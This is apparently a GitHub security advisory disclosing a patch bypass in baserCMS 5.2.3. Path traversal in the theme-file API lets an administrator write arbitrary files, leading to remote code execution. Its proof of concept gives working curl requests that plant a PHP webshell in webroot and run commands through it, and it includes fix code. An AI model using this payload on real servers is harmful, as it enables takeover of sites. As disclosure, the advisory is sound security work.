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baserCMS: Path Traversal Bypass via realpath() in BcThemeFileService (CVE-2026-30940 Patch Bypass)

GHSA-2PJ4-V76F-WJVXPublished Updated GitHub

Description

The security patch introduced in baserCMS 5.2.3 to address CVE-2026-30940 / GHSA-c5c6-37vq-pjcq is incomplete. The patch added a realpath()-based directory traversal check in BcThemeFileService::getFullpath(), but the check is entirely skipped when realpath($baseDir) returns false — which occurs whenever the target subdirectory does not physically exist on disk.

An authenticated administrator can bypass the patch by supplying a type value (e.g., js) that maps to a non-existent directory in the theme. The absence of the directory causes realpath() to return false, the validation block is skipped, and the raw path parameter containing ../ sequences is returned unvalidated. This enables arbitrary file write and remote code execution (RCE) — the exact same impact as the original CVE.

This vulnerability was verified exploitable on baserCMS 5.2.3 (the "patched" version of CVE-2026-30940).

Details

The vulnerability exists in BcThemeFileService::getFullpath() at plugins/bc-theme-file/src/Service/BcThemeFileService.php lines 70–82:

public function getFullpath(string $theme, string $plugin, string $type, string $path)
{
    // ...build $baseDir and $fullPath from $theme, $type, $path...
    $baseDir  = $viewPath . $type . DS;      // e.g. .../BcThemeSample/webroot/js/
    $fullPath = $baseDir  . $path;           // e.g. .../webroot/js/../../../../webroot/

    $resolvedBase = realpath($baseDir);
    if ($resolvedBase !== false) {           // ← BYPASS: entire block skipped when dir absent
        $resolvedBase = rtrim($resolvedBase, DS) . DS;
        $targetDir = realpath(dirname($fullPath));
        if ($targetDir === false) {
            $targetDir = $this->normalizePath(dirname($fullPath));
        }
        if (!str_starts_with(rtrim($targetDir, DS) . DS, $resolvedBase)) {
            throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
        }
    }

    return $fullPath;   // ← Returns unvalidated path when realpath returns false
}

Root cause — the bypass condition:

realpath($baseDir) resultBehavior
Valid path string (dir exists)Validation runs → ../ traversal blocked ✓
false (dir does not exist)Validation skipped entirely → ../ traversal allowed ✗

Difference from CVE-2026-30940 (original bug):

| | CVE-2026-30940 (≤ 5.2.2) | This bypass (5.2.3) | |--|--|--| | Validation | None at all | realpath() check — but conditional | | type needed | Any valid type (layout, cell, …) | Must map to a non-existent subdirectory | | path blocked | Never | Only when target dir already exists | | Root cause | Missing validation | if ($resolvedBase !== false) skips false case |

PoC

Prerequisites:

  • baserCMS 5.2.3 (the officially patched version of CVE-2026-30940)
  • Admin credentials
  • USE_CORE_ADMIN_API=true in .env
  • BcThemeFile plugin installed and BcThemeSample theme loaded

Step 1 — Login and obtain JWT token:

curl -s -X POST "http://localhost/baser/api/admin/baser-core/users/login.json" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@example.com","password":"password"}'
# Response: {"access_token":"eyJ0eXA...","refresh_token":"eyJ0eXA..."}

Step 2 — Verify bypass condition (webroot/js/ must not exist):

The bypass requires type=js to map to a non-existent directory. Confirm:

# webroot/js/ does NOT exist → realpath() returns false → validation SKIPPED
ls plugins/BcThemeSample/webroot/
# Expected output: css  img   (no js/)

Step 3 — Exploit: write PHP webshell directly to webroot:

Path calculation from baseDir = .../BcThemeSample/webroot/js/:

  • js/ (1 up) → webroot/
  • webroot/ (2 up) → BcThemeSample/
  • BcThemeSample/ (3 up) → plugins/
  • plugins/ (4 up) → /var/www/html/ + webroot/
  • Result: ../../../../webroot/ → /var/www/html/webroot/
TOKEN="eyJ0eXA..."   # from step 1

curl -s -X POST "http://localhost/baser/api/admin/bc-theme-file/theme_files/add.json" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "theme":    "BcThemeSample",
    "plugin":   "",
    "type":     "js",
    "path":     "../../../../webroot/",
    "base_name":"rce_direct",
    "ext":      "php",
    "contents": "<?php echo shell_exec($_GET[\"c\"]); ?>"
  }'
# Response: HTTP 200 {"message":"ファイル「rce_direct.php」を作成しました。",...}

Step 4 — Execute RCE:

curl "http://localhost/rce_direct.php?c=id"
# Output: uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Verified output (Docker, baserCMS 5.2.3):

=RCE_DIRECT=uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)

Impact

An authenticated administrator can achieve remote code execution by writing an arbitrary PHP file to any directory accessible by the web server — including webroot/, config/, or tmp/. This is the identical impact as CVE-2026-30940, rendering the 5.2.3 patch ineffective.

The vulnerability is particularly significant because:

  1. Patch bypass: Operators and users who upgraded to 5.2.3 specifically to address CVE-2026-30940 remain vulnerable.
  2. Arbitrary directory write: The bypass allows writing to webroot/ (directly HTTP-accessible), config/ (application configuration), or any other directory writable by the PHP process.
  3. File deletion and overwrite: Beyond RCE, the attacker can delete or overwrite critical files, causing denial of service or persistent backdoors.
  4. One-shot per non-existent directory: The exploit creates the target directory as a side effect. Rotating to other unused type values (e.g., font, audio, any arbitrary string) restores the bypass condition.

CVSS v3.1: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H — Score: 7.2 (High) Same as CVE-2026-30940 — attack complexity is unchanged by the incomplete patch.

Recommended Fix

The patch must validate the path unconditionally, regardless of whether $baseDir exists on disk. Replace the realpath()-conditional block with normalizePath() (already defined in the same class):

// CURRENT (vulnerable — skips validation when $baseDir does not exist)
$resolvedBase = realpath($baseDir);
if ($resolvedBase !== false) {
    // ... validation only runs here ...
}
return $fullPath;

// FIXED — always validate using normalizePath()
$normalizedBase   = rtrim($this->normalizePath($baseDir),            DS) . DS;
$normalizedTarget = rtrim($this->normalizePath(dirname($fullPath)),  DS) . DS;

if (!str_starts_with($normalizedTarget, $normalizedBase)) {
    throw new BcException(__d('baser_core', 'パスにテーマディレクトリ外への参照が含まれています。'));
}
return $fullPath;

Additionally, the path and ext parameters should be validated at the API controller layer:

// In ThemeFilesController — validate before calling getFullpath()
if (preg_match('/\.\./', $data['path'])) {
    throw new BcException('Invalid path parameter.');
}
if (!preg_match('/^[a-zA-Z0-9]+$/', $data['ext'])) {
    throw new BcException('Invalid extension.');
}

References

Attribution

Reported by Nguy Minh Tuan of Sun* Cyber Security Research Team.

Affected versions

References